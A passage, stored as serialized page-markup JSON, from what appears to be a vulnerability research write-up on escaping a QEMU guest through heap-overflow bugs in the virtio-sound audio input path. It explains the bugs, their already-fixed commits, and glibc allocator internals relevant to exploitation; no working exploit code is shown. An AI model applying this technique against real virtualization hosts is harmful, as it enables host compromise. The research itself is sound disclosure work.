stream_id);\n",{"type":22,"tag":118,"props":127423,"children":127424},{"class":120,"line":368},[127425],{"type":22,"tag":118,"props":127426,"children":127427},{"emptyLinePlaceholder":15},[127428],{"type":28,"value":250},{"type":22,"tag":118,"props":127430,"children":127431},{"class":120,"line":384},[127432],{"type":22,"tag":118,"props":127433,"children":127434},{"style":125},[127435],{"type":28,"value":106397},{"type":22,"tag":118,"props":127437,"children":127438},{"class":120,"line":417},[127439],{"type":22,"tag":118,"props":127440,"children":127441},{"emptyLinePlaceholder":15},[127442],{"type":28,"value":250},{"type":22,"tag":118,"props":127444,"children":127445},{"class":120,"line":425},[127446,127451,127455,127460,127464,127469,127473,127477,127481,127485],{"type":22,"tag":118,"props":127447,"children":127448},{"style":204},[127449],{"type":28,"value":127450},"    st_params",{"type":22,"tag":118,"props":127452,"children":127453},{"style":125},[127454],{"type":28,"value":593},{"type":22,"tag":118,"props":127456,"children":127457},{"style":204},[127458],{"type":28,"value":127459},"buffer_bytes",{"type":22,"tag":118,"props":127461,"children":127462},{"style":210},[127463],{"type":28,"value":837},{"type":22,"tag":118,"props":127465,"children":127466},{"style":532},[127467],{"type":28,"value":127468}," le32_to_cpu",{"type":22,"tag":118,"props":127470,"children":127471},{"style":125},[127472],{"type":28,"value":540},{"type":22,"tag":118,"props":127474,"children":127475},{"style":204},[127476],{"type":28,"value":99878},{"type":22,"tag":118,"props":127478,"children":127479},{"style":125},[127480],{"type":28,"value":593},{"type":22,"tag":118,"props":127482,"children":127483},{"style":204},[127484],{"type":28,"value":127459},{"type":22,"tag":118,"props":127486,"children":127487},{"style":125},[127488],{"type":28,"value":682},{"type":22,"tag":118,"props":127490,"children":127491},{"class":120,"line":441},[127492,127496,127500,127504,127508,127512,127516,127520,127524,127528],{"type":22,"tag":118,"props":127493,"children":127494},{"style":204},[127495],{"type":28,"value":127450},{"type":22,"tag":118,"props":127497,"children":127498},{"style":125},[127499],{"type":28,"value":593},{"type":22,"tag":118,"props":127501,"children":127502},{"style":204},[127503],{"type":28,"value":126909},{"type":22,"tag":118,"props":127505,"children":127506},{"style":210},[127507],{"type":28,"value":837},{"type":22,"tag":118,"props":127509,"children":127510},{"style":532},[127511],{"type":28,"value":127468},{"type":22,"tag":118,"props":127513,"children":127514},{"style":125},[127515],{"type":28,"value":540},{"type":22,"tag":118,"props":127517,"children":127518},{"style":204},[127519],{"type":28,"value":99878},{"type":22,"tag":118,"props":127521,"children":127522},{"style":125},[127523],{"type":28,"value":593},{"type":22,"tag":118,"props":127525,"children":127526},{"style":204},[127527],{"type":28,"value":126909},{"type":22,"tag":118,"props":127529,"children":127530},{"style":125},[127531],{"type":28,"value":682},{"type":22,"tag":118,"props":127533,"children":127534},{"class":120,"line":475},[127535,127539,127543,127548,127552,127556,127560,127564,127568,127572],{"type":22,"tag":118,"props":127536,"children":127537},{"style":204},[127538],{"type":28,"value":127450},{"type":22,"tag":118,"props":127540,"children":127541},{"style":125},[127542],{"type":28,"value":593},{"type":22,"tag":118,"props":127544,"children":127545},{"style":204},[127546],{"type":28,"value":127547},"features",{"type":22,"tag":118,"props":127549,"children":127550},{"style":210},[127551],{"type":28,"value":837},{"type":22,"tag":118,"props":127553,"children":127554},{"style":532},[127555],{"type":28,"value":127468},{"type":22,"tag":118,"props":127557,"children":127558},{"style":125},[127559],{"type":28,"value":540},{"type":22,"tag":118,"props":127561,"children":127562},{"style":204},[127563],{"type":28,"value":99878},{"type":22,"tag":118,"props":127565,"children":127566},{"style":125},[127567],{"type":28,"value":593},{"type":22,"tag":118,"props":127569,"children":127570},{"style":204},[127571],{"type":28,"value":127547},{"type":22,"tag":118,"props":127573,"children":127574},{"style":125},[127575],{"type":28,"value":682},{"type":22,"tag":118,"props":127577,"children":127578},{"class":120,"line":484},[127579],{"type":22,"tag":118,"props":127580,"children":127581},{"style":257},[127582],{"type":28,"value":127583},"    /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":22,"tag":118,"props":127585,"children":127586},{"class":120,"line":492},[127587,127591,127595,127600,127604,127609,127613,127617],{"type":22,"tag":118,"props":127588,"children":127589},{"style":204},[127590],{"type":28,"value":127450},{"type":22,"tag":118,"props":127592,"children":127593},{"style":125},[127594],{"type":28,"value":593},{"type":22,"tag":118,"props":127596,"children":127597},{"style":204},[127598],{"type":28,"value":127599},"channels",{"type":22,"tag":118,"props":127601,"children":127602},{"style":210},[127603],{"type":28,"value":837},{"type":22,"tag":118,"props":127605,"children":127606},{"style":204},[127607],{"type":28,"value":127608}," params",{"type":22,"tag":118,"props":127610,"children":127611},{"style":125},[127612],{"type":28,"value":593},{"type":22,"tag":118,"props":127614,"children":127615},{"style":204},[127616],{"type":28,"value":127599},{"type":22,"tag":118,"props":127618,"children":127619},{"style":125},[127620],{"type":28,"value":801},{"type":22,"tag":118,"props":127622,"children":127623},{"class":120,"line":501},[127624,127628,127632,127637,127641,127645,127649,127653],{"type":22,"tag":118,"props":127625,"children":127626},{"style":204},[127627],{"type":28,"value":127450},{"type":22,"tag":118,"props":127629,"children":127630},{"style":125},[127631],{"type":28,"value":593},{"type":22,"tag":118,"props":127633,"children":127634},{"style":204},[127635],{"type":28,"value":127636},"format",{"type":22,"tag":118,"props":127638,"children":127639},{"style":210},[127640],{"type":28,"value":837},{"type":22,"tag":118,"props":127642,"children":127643},{"style":204},[127644],{"type":28,"value":127608},{"type":22,"tag":118,"props":127646,"children":127647},{"style":125},[127648],{"type":28,"value":593},{"type":22,"tag":118,"props":127650,"children":127651},{"style":204},[127652],{"type":28,"value":127636},{"type":22,"tag":118,"props":127654,"children":127655},{"style":125},[127656],{"type":28,"value":801},{"type":22,"tag":118,"props":127658,"children":127659},{"class":120,"line":519},[127660,127664,127668,127673,127677,127681,127685,127689],{"type":22,"tag":118,"props":127661,"children":127662},{"style":204},[127663],{"type":28,"value":127450},{"type":22,"tag":118,"props":127665,"children":127666},{"style":125},[127667],{"type":28,"value":593},{"type":22,"tag":118,"props":127669,"children":127670},{"style":204},[127671],{"type":28,"value":127672},"rate",{"type":22,"tag":118,"props":127674,"children":127675},{"style":210},[127676],{"type":28,"value":837},{"type":22,"tag":118,"props":127678,"children":127679},{"style":204},[127680],{"type":28,"value":127608},{"type":22,"tag":118,"props":127682,"children":127683},{"style":125},[127684],{"type":28,"value":593},{"type":22,"tag":118,"props":127686,"children":127687},{"style":204},[127688],{"type":28,"value":127672},{"type":22,"tag":118,"props":127690,"children":127691},{"style":125},[127692],{"type":28,"value":801},{"type":22,"tag":118,"props":127694,"children":127695},{"class":120,"line":606},[127696],{"type":22,"tag":118,"props":127697,"children":127698},{"emptyLinePlaceholder":15},[127699],{"type":28,"value":250},{"type":22,"tag":118,"props":127701,"children":127702},{"class":120,"line":615},[127703,127707,127712],{"type":22,"tag":118,"props":127704,"children":127705},{"style":1480},[127706],{"type":28,"value":18954},{"type":22,"tag":118,"props":127708,"children":127709},{"style":532},[127710],{"type":28,"value":127711}," cpu_to_le32",{"type":22,"tag":118,"props":127713,"children":127714},{"style":125},[127715],{"type":28,"value":127716},"(VIRTIO_SND_S_OK);\n",{"type":22,"tag":118,"props":127718,"children":127719},{"class":120,"line":685},[127720],{"type":22,"tag":118,"props":127721,"children":127722},{"style":125},[127723],{"type":28,"value":481},{"type":22,"tag":31,"props":127725,"children":127726},{},[127727,127729,127734,127736,127742,127744,127749,127751,127756,127758,127764,127765,127770],{"type":28,"value":127728},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":22,"tag":114,"props":127730,"children":127732},{"className":127731},[],[127733],{"type":28,"value":5439},{"type":28,"value":127735},") and signed (",{"type":22,"tag":114,"props":127737,"children":127739},{"className":127738},[],[127740],{"type":28,"value":127741},"s8",{"type":28,"value":127743},") samples. They encode the same waveform differently - silence is ",{"type":22,"tag":114,"props":127745,"children":127747},{"className":127746},[],[127748],{"type":28,"value":31378},{"type":28,"value":127750}," in ",{"type":22,"tag":114,"props":127752,"children":127754},{"className":127753},[],[127755],{"type":28,"value":5439},{"type":28,"value":127757},", but ",{"type":22,"tag":114,"props":127759,"children":127761},{"className":127760},[],[127762],{"type":28,"value":127763},"0x00",{"type":28,"value":127750},{"type":22,"tag":114,"props":127766,"children":127768},{"className":127767},[],[127769],{"type":28,"value":127741},{"type":28,"value":292},{"type":22,"tag":20760,"props":127772,"children":127773},{},[],{"type":22,"tag":31,"props":127775,"children":127776},{},[127777],{"type":28,"value":127778},"To summarize:",{"type":22,"tag":4029,"props":127780,"children":127781},{},[127782,127801,127819],{"type":22,"tag":68,"props":127783,"children":127784},{},[127785,127787,127792,127794,127799],{"type":28,"value":127786},"an integer underflow in the ",{"type":22,"tag":114,"props":127788,"children":127790},{"className":127789},[],[127791],{"type":28,"value":125856},{"type":28,"value":127793}," calculation in ",{"type":22,"tag":114,"props":127795,"children":127797},{"className":127796},[],[127798],{"type":28,"value":125361},{"type":28,"value":127800},", resulting in an 8-byte (or less) under-allocation",{"type":22,"tag":68,"props":127802,"children":127803},{},[127804,127806,127811,127812,127817],{"type":28,"value":127805},"a mismatch in the ",{"type":22,"tag":114,"props":127807,"children":127809},{"className":127808},[],[127810],{"type":28,"value":127088},{"type":28,"value":127793},{"type":22,"tag":114,"props":127813,"children":127815},{"className":127814},[],[127816],{"type":28,"value":127186},{"type":28,"value":127818},", leading to at most 8-byte OOB write",{"type":22,"tag":68,"props":127820,"children":127821},{},[127822,127824,127829,127831,127836,127838,127843],{"type":28,"value":127823},"a missing bound in the ",{"type":22,"tag":114,"props":127825,"children":127827},{"className":127826},[],[127828],{"type":28,"value":125856},{"type":28,"value":127830}," passed to ",{"type":22,"tag":114,"props":127832,"children":127834},{"className":127833},[],[127835],{"type":28,"value":127206},{"type":28,"value":127837},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":22,"tag":114,"props":127839,"children":127841},{"className":127840},[],[127842],{"type":28,"value":127229},{"type":28,"value":83885},{"type":22,"tag":31,"props":127845,"children":127846},{},[127847,127849,127854,127856,127861,127863,127869],{"type":28,"value":127848},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":22,"tag":114,"props":127850,"children":127852},{"className":127851},[],[127853],{"type":28,"value":127229},{"type":28,"value":127855},", but in our setup with the ALSA backend, ",{"type":22,"tag":114,"props":127857,"children":127859},{"className":127858},[],[127860],{"type":28,"value":127229},{"type":28,"value":127862}," was consistently around ",{"type":22,"tag":114,"props":127864,"children":127866},{"className":127865},[],[127867],{"type":28,"value":127868},"4096",{"type":28,"value":292},{"type":22,"tag":31,"props":127871,"children":127872},{},[127873,127875,127882,127883,127890],{"type":28,"value":127874},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":22,"tag":42,"props":127876,"children":127879},{"href":127877,"rel":127878},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[46],[127880],{"type":28,"value":127881},"commit 1",{"type":28,"value":231},{"type":22,"tag":42,"props":127884,"children":127887},{"href":127885,"rel":127886},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[46],[127888],{"type":28,"value":127889},"commit 2",{"type":28,"value":127891},") in the very same week that we independently found them while manually reviewing the code.",{"type":22,"tag":23,"props":127893,"children":127894},{"id":101704},[127895],{"type":28,"value":101707},{"type":22,"tag":31,"props":127897,"children":127898},{},[127899],{"type":28,"value":127900},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":22,"tag":31,"props":127902,"children":127903},{},[127904],{"type":28,"value":127905},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":22,"tag":1289,"props":127907,"children":127909},{"id":127908},"achieving-a-better-primitive",[127910],{"type":28,"value":127911},"Achieving a Better Primitive",{"type":22,"tag":31,"props":127913,"children":127914},{},[127915],{"type":28,"value":127916},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":22,"tag":31,"props":127918,"children":127919},{},[127920],{"type":28,"value":127921},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":22,"tag":31,"props":127923,"children":127924},{},[127925],{"type":28,"value":127926},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":22,"tag":1899,"props":127928,"children":127930},{"id":127929},"glibc-allocator",[127931],{"type":28,"value":127932},"Glibc Allocator",{"type":22,"tag":31,"props":127934,"children":127935},{},[127936,127938,127945],{"type":28,"value":127937},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":22,"tag":42,"props":127939,"children":127942},{"href":127940,"rel":127941},"https://github.com/shellphish/how2heap",[46],[127943],{"type":28,"value":127944},"how2heap",{"type":28,"value":292},{"type":22,"tag":39287,"props":127947,"children":127949},{"id":127948},"chunk-layout-and-bins",[127950],{"type":28,"value":127951},"Chunk Layout and Bins",{"type":22,"tag":31,"props":127953,"children":127954},{},[127955],{"type":28,"value":127956},"A chunk looks like this:",{"type":22,"tag":107,"props":127958,"children":127960},{"code":127959},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[127961],{"type":22,"tag":114,"props":127962,"children":127963},{"__ignoreMap":7},[127964],{"type":28,"value":127959},{"type":22,"tag":31,"props":127966,"children":127967},{},[127968,127970,127976,127978,127984,127985,127990,127991,127997,127999,128004,128006,128011,128013,128019,128020,128026,128028,128034],{"type":28,"value":127969},"The first 16 bytes form the chunk header. It consists of the ",{"type":22,"tag":114,"props":127971,"children":127973},{"className":127972},[],[127974],{"type":28,"value":127975},"prev_size",{"type":28,"value":127977}," field at offset ",{"type":22,"tag":114,"props":127979,"children":127981},{"className":127980},[],[127982],{"type":28,"value":127983},"0x0",{"type":28,"value":39491},{"type":22,"tag":114,"props":127986,"children":127988},{"className":127987},[],[127989],{"type":28,"value":125856},{"type":28,"value":127977},{"type":22,"tag":114,"props":127992,"children":127994},{"className":127993},[],[127995],{"type":28,"value":127996},"0x8",{"type":28,"value":127998},". As the name suggests, ",{"type":22,"tag":114,"props":128000,"children":128002},{"className":128001},[],[128003],{"type":28,"value":127975},{"type":28,"value":128005}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":22,"tag":114,"props":128007,"children":128009},{"className":128008},[],[128010],{"type":28,"value":125856},{"type":28,"value":128012}," stores the size of the current chunk and three special bits of which ",{"type":22,"tag":114,"props":128014,"children":128016},{"className":128015},[],[128017],{"type":28,"value":128018},"PREV_INUSE",{"type":28,"value":12991},{"type":22,"tag":114,"props":128021,"children":128023},{"className":128022},[],[128024],{"type":28,"value":128025},"IS_MMAPPED",{"type":28,"value":128027}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":22,"tag":114,"props":128029,"children":128031},{"className":128030},[],[128032],{"type":28,"value":128033},"0x10",{"type":28,"value":292},{"type":22,"tag":31,"props":128036,"children":128037},{},[128038],{"type":28,"value":128039},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":22,"tag":39287,"props":128041,"children":128043},{"id":128042},"free-path",[128044],{"type":28,"value":128045},"free() path",{"type":22,"tag":31,"props":128047,"children":128048},{},[128049,128051,128057],{"type":28,"value":128050},"Let’s first look at the ",{"type":22,"tag":114,"props":128052,"children":128054},{"className":128053},[],[128055],{"type":28,"value":128056},"free()",{"type":28,"value":128058}," path in glibc 2.40:",{"type":22,"tag":107,"props":128060,"children":128062},{"code":128061,"language":5169,"meta":7,"className":18481,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[128063],{"type":22,"tag":114,"props":128064,"children":128065},{"__ignoreMap":7},[128066,128094,128101,128109,128117,128124,128146,128167,128174,128187,128194,128202,128209,128222,128229,128250,128271,128278],{"type":22,"tag":118,"props":128067,"children":128068},{"class":120,"line":121},[128069,128074,128078,128082,128086,128090],{"type":22,"tag":118,"props":128070,"children":128071},{"style":532},[128072],{"type":28,"value":128073},"__libc_free",{"type":22,"tag":118,"props":128075,"children":128076},{"style":125},[128077],{"type":28,"value":842},{"type":22,"tag":118,"props":128079,"children":128080},{"style":146},[128081],{"type":28,"value":53568},{"type":22,"tag":118,"props":128083,"children":128084},{"style":210},[128085],{"type":28,"value":11815},{"type":22,"tag":118,"props":128087,"children":128088},{"style":204},[128089],{"type":28,"value":42603},{"type":22,"tag":118,"props":128091,"children":128092},{"style":125},[128093],{"type":28,"value":3665},{"type":22,"tag":118,"props":128095,"children":128096},{"class":120,"line":142},[128097],{"type":22,"tag":118,"props":128098,"children":128099},{"style":125},[128100],{"type":28,"value":12879},{"type":22,"tag":118,"props":128102,"children":128103},{"class":120,"line":177},[128104],{"type":22,"tag":118,"props":128105,"children":128106},{"style":125},[128107],{"type":28,"value":128108},"  mstate ar_ptr;\n",{"type":22,"tag":118,"props":128110,"children":128111},{"class":120,"line":195},[128112],{"type":22,"tag":118,"props":128113,"children":128114},{"style":125},[128115],{"type":28,"value":128116},"  mchunkptr p;\n",{"type":22,"tag":118,"props":128118,"children":128119},{"class":120,"line":244},[128120],{"type":22,"tag":118,"props":128121,"children":128122},{"emptyLinePlaceholder":15},[128123],{"type":28,"value":250},{"type":22,"tag":118,"props":128125,"children":128126},{"class":120,"line":253},[128127,128132,128136,128141],{"type":22,"tag":118,"props":128128,"children":128129},{"style":125},[128130],{"type":28,"value":128131},"  p ",{"type":22,"tag":118,"props":128133,"children":128134},{"style":210},[128135],{"type":28,"value":282},{"type":22,"tag":118,"props":128137,"children":128138},{"style":532},[128139],{"type":28,"value":128140}," mem2chunk",{"type":22,"tag":118,"props":128142,"children":128143},{"style":125},[128144],{"type":28,"value":128145}," (mem);\n",{"type":22,"tag":118,"props":128147,"children":128148},{"class":120,"line":263},[128149,128153,128157,128162],{"type":22,"tag":118,"props":128150,"children":128151},{"style":1480},[128152],{"type":28,"value":33333},{"type":22,"tag":118,"props":128154,"children":128155},{"style":125},[128156],{"type":28,"value":842},{"type":22,"tag":118,"props":128158,"children":128159},{"style":532},[128160],{"type":28,"value":128161},"chunk_is_mmapped",{"type":22,"tag":118,"props":128163,"children":128164},{"style":125},[128165],{"type":28,"value":128166}," (p))\n",{"type":22,"tag":118,"props":128168,"children":128169},{"class":120,"line":318},[128170],{"type":22,"tag":118,"props":128171,"children":128172},{"style":125},[128173],{"type":28,"value":31125},{"type":22,"tag":118,"props":128175,"children":128176},{"class":120,"line":351},[128177,128182],{"type":22,"tag":118,"props":128178,"children":128179},{"style":532},[128180],{"type":28,"value":128181},"      munmap_chunk",{"type":22,"tag":118,"props":128183,"children":128184},{"style":125},[128185],{"type":28,"value":128186}," (p);\n",{"type":22,"tag":118,"props":128188,"children":128189},{"class":120,"line":359},[128190],{"type":22,"tag":118,"props":128191,"children":128192},{"style":125},[128193],{"type":28,"value":1254},{"type":22,"tag":118,"props":128195,"children":128196},{"class":120,"line":368},[128197],{"type":22,"tag":118,"props":128198,"children":128199},{"style":1480},[128200],{"type":28,"value":128201},"  else\n",{"type":22,"tag":118,"props":128203,"children":128204},{"class":120,"line":384},[128205],{"type":22,"tag":118,"props":128206,"children":128207},{"style":125},[128208],{"type":28,"value":31125},{"type":22,"tag":118,"props":128210,"children":128211},{"class":120,"line":417},[128212,128217],{"type":22,"tag":118,"props":128213,"children":128214},{"style":532},[128215],{"type":28,"value":128216},"      MAYBE_INIT_TCACHE",{"type":22,"tag":118,"props":128218,"children":128219},{"style":125},[128220],{"type":28,"value":128221}," ();\n",{"type":22,"tag":118,"props":128223,"children":128224},{"class":120,"line":425},[128225],{"type":22,"tag":118,"props":128226,"children":128227},{"emptyLinePlaceholder":15},[128228],{"type":28,"value":250},{"type":22,"tag":118,"props":128230,"children":128231},{"class":120,"line":441},[128232,128237,128241,128246],{"type":22,"tag":118,"props":128233,"children":128234},{"style":125},[128235],{"type":28,"value":128236},"      ar_ptr ",{"type":22,"tag":118,"props":128238,"children":128239},{"style":210},[128240],{"type":28,"value":282},{"type":22,"tag":118,"props":128242,"children":128243},{"style":532},[128244],{"type":28,"value":128245}," arena_for_chunk",{"type":22,"tag":118,"props":128247,"children":128248},{"style":125},[128249],{"type":28,"value":128186},{"type":22,"tag":118,"props":128251,"children":128252},{"class":120,"line":475},[128253,128258,128263,128267],{"type":22,"tag":118,"props":128254,"children":128255},{"style":532},[128256],{"type":28,"value":128257},"      _int_free",{"type":22,"tag":118,"props":128259,"children":128260},{"style":125},[128261],{"type":28,"value":128262}," (ar_ptr, p, ",{"type":22,"tag":118,"props":128264,"children":128265},{"style":674},[128266],{"type":28,"value":6036},{"type":22,"tag":118,"props":128268,"children":128269},{"style":125},[128270],{"type":28,"value":682},{"type":22,"tag":118,"props":128272,"children":128273},{"class":120,"line":484},[128274],{"type":22,"tag":118,"props":128275,"children":128276},{"style":125},[128277],{"type":28,"value":1254},{"type":22,"tag":118,"props":128279,"children":128280},{"class":120,"line":492},[128281],{"type":22,"tag":118,"props":128282,"children":128283},{"style":125},[128284],{"type":28,"value":481},{"type":22,"tag":31,"props":128286,"children":128287},{},[128288,128290,128295,128297,128302,128304,128310,128312,128318,128320,128325,128327,128332,128334,128339,128341,128346],{"type":28,"value":128289},"We can see that if the ",{"type":22,"tag":114,"props":128291,"children":128293},{"className":128292},[],[128294],{"type":28,"value":128025},{"type":28,"value":128296}," bit is set in the corrupted ",{"type":22,"tag":114,"props":128298,"children":128300},{"className":128299},[],[128301],{"type":28,"value":125856},{"type":28,"value":128303}," field, glibc will call ",{"type":22,"tag":114,"props":128305,"children":128307},{"className":128306},[],[128308],{"type":28,"value":128309},"munmap_chunk",{"type":28,"value":128311},", which internally checks that ",{"type":22,"tag":114,"props":128313,"children":128315},{"className":128314},[],[128316],{"type":28,"value":128317},"prev_size + size",{"type":28,"value":128319}," is page-aligned. To reach the ",{"type":22,"tag":114,"props":128321,"children":128323},{"className":128322},[],[128324],{"type":28,"value":125856},{"type":28,"value":128326}," field, we first have to overwrite the entire 8-byte ",{"type":22,"tag":114,"props":128328,"children":128330},{"className":128329},[],[128331],{"type":28,"value":127975},{"type":28,"value":128333}," field with uncontrolled data. The chance that a corrupted ",{"type":22,"tag":114,"props":128335,"children":128337},{"className":128336},[],[128338],{"type":28,"value":128317},{"type":28,"value":128340}," value still ends up page-aligned is extremely small. In practice, if ",{"type":22,"tag":114,"props":128342,"children":128344},{"className":128343},[],[128345],{"type":28,"value":128025},{"type":28,"value":128347}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":22,"tag":31,"props":128349,"children":128350},{},[128351,128353,128358,128360,128366],{"type":28,"value":128352},"Assuming ",{"type":22,"tag":114,"props":128354,"children":128356},{"className":128355},[],[128357],{"type":28,"value":128025},{"type":28,"value":128359}," is not set, execution continues into ",{"type":22,"tag":114,"props":128361,"children":128363},{"className":128362},[],[128364],{"type":28,"value":128365},"_int_free",{"type":28,"value":213},{"type":22,"tag":107,"props":128368,"children":128370},{"code":128369,"language":5169,"meta":7,"className":18481,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[128371],{"type":22,"tag":114,"props":128372,"children":128373},{"__ignoreMap":7},[128374,128386,128429,128436,128444,128451,128472,128479,128487,128495,128503,128511,128575,128610,128631,128639,128647,128695,128715,128722,128735,128742],{"type":22,"tag":118,"props":128375,"children":128376},{"class":120,"line":121},[128377,128381],{"type":22,"tag":118,"props":128378,"children":128379},{"style":146},[128380],{"type":28,"value":52985},{"type":22,"tag":118,"props":128382,"children":128383},{"style":146},[128384],{"type":28,"value":128385}," void\n",{"type":22,"tag":118,"props":128387,"children":128388},{"class":120,"line":142},[128389,128393,128398,128403,128408,128412,128416,128420,128425],{"type":22,"tag":118,"props":128390,"children":128391},{"style":532},[128392],{"type":28,"value":128365},{"type":22,"tag":118,"props":128394,"children":128395},{"style":125},[128396],{"type":28,"value":128397}," (mstate ",{"type":22,"tag":118,"props":128399,"children":128400},{"style":204},[128401],{"type":28,"value":128402},"av",{"type":22,"tag":118,"props":128404,"children":128405},{"style":125},[128406],{"type":28,"value":128407},", mchunkptr ",{"type":22,"tag":118,"props":128409,"children":128410},{"style":204},[128411],{"type":28,"value":31},{"type":22,"tag":118,"props":128413,"children":128414},{"style":125},[128415],{"type":28,"value":231},{"type":22,"tag":118,"props":128417,"children":128418},{"style":146},[128419],{"type":28,"value":21014},{"type":22,"tag":118,"props":128421,"children":128422},{"style":204},[128423],{"type":28,"value":128424}," have_lock",{"type":22,"tag":118,"props":128426,"children":128427},{"style":125},[128428],{"type":28,"value":3665},{"type":22,"tag":118,"props":128430,"children":128431},{"class":120,"line":177},[128432],{"type":22,"tag":118,"props":128433,"children":128434},{"style":125},[128435],{"type":28,"value":12879},{"type":22,"tag":118,"props":128437,"children":128438},{"class":120,"line":195},[128439],{"type":22,"tag":118,"props":128440,"children":128441},{"style":125},[128442],{"type":28,"value":128443},"  INTERNAL_SIZE_T size;\n",{"type":22,"tag":118,"props":128445,"children":128446},{"class":120,"line":244},[128447],{"type":22,"tag":118,"props":128448,"children":128449},{"emptyLinePlaceholder":15},[128450],{"type":28,"value":250},{"type":22,"tag":118,"props":128452,"children":128453},{"class":120,"line":253},[128454,128459,128463,128468],{"type":22,"tag":118,"props":128455,"children":128456},{"style":125},[128457],{"type":28,"value":128458},"  size ",{"type":22,"tag":118,"props":128460,"children":128461},{"style":210},[128462],{"type":28,"value":282},{"type":22,"tag":118,"props":128464,"children":128465},{"style":532},[128466],{"type":28,"value":128467}," chunksize",{"type":22,"tag":118,"props":128469,"children":128470},{"style":125},[128471],{"type":28,"value":128186},{"type":22,"tag":118,"props":128473,"children":128474},{"class":120,"line":263},[128475],{"type":22,"tag":118,"props":128476,"children":128477},{"emptyLinePlaceholder":15},[128478],{"type":28,"value":250},{"type":22,"tag":118,"props":128480,"children":128481},{"class":120,"line":318},[128482],{"type":22,"tag":118,"props":128483,"children":128484},{"style":257},[128485],{"type":28,"value":128486},"  /* Little security check which won't hurt performance: the\n",{"type":22,"tag":118,"props":128488,"children":128489},{"class":120,"line":351},[128490],{"type":22,"tag":118,"props":128491,"children":128492},{"style":257},[128493],{"type":28,"value":128494},"     allocator never wraps around at the end of the address space.\n",{"type":22,"tag":118,"props":128496,"children":128497},{"class":120,"line":359},[128498],{"type":22,"tag":118,"props":128499,"children":128500},{"style":257},[128501],{"type":28,"value":128502},"     Therefore we can exclude some size values which might appear\n",{"type":22,"tag":118,"props":128504,"children":128505},{"class":120,"line":368},[128506],{"type":22,"tag":118,"props":128507,"children":128508},{"style":257},[128509],{"type":28,"value":128510},"     here by accident or by \"design\" from some intruder.  */\n",{"type":22,"tag":118,"props":128512,"children":128513},{"class":120,"line":384},[128514,128518,128522,128527,128532,128537,128542,128546,128550,128554,128558,128562,128567,128571],{"type":22,"tag":118,"props":128515,"children":128516},{"style":1480},[128517],{"type":28,"value":33333},{"type":22,"tag":118,"props":128519,"children":128520},{"style":125},[128521],{"type":28,"value":842},{"type":22,"tag":118,"props":128523,"children":128524},{"style":532},[128525],{"type":28,"value":128526},"__builtin_expect",{"type":22,"tag":118,"props":128528,"children":128529},{"style":125},[128530],{"type":28,"value":128531}," ((",{"type":22,"tag":118,"props":128533,"children":128534},{"style":146},[128535],{"type":28,"value":128536},"uintptr_t",{"type":22,"tag":118,"props":128538,"children":128539},{"style":125},[128540],{"type":28,"value":128541},") p 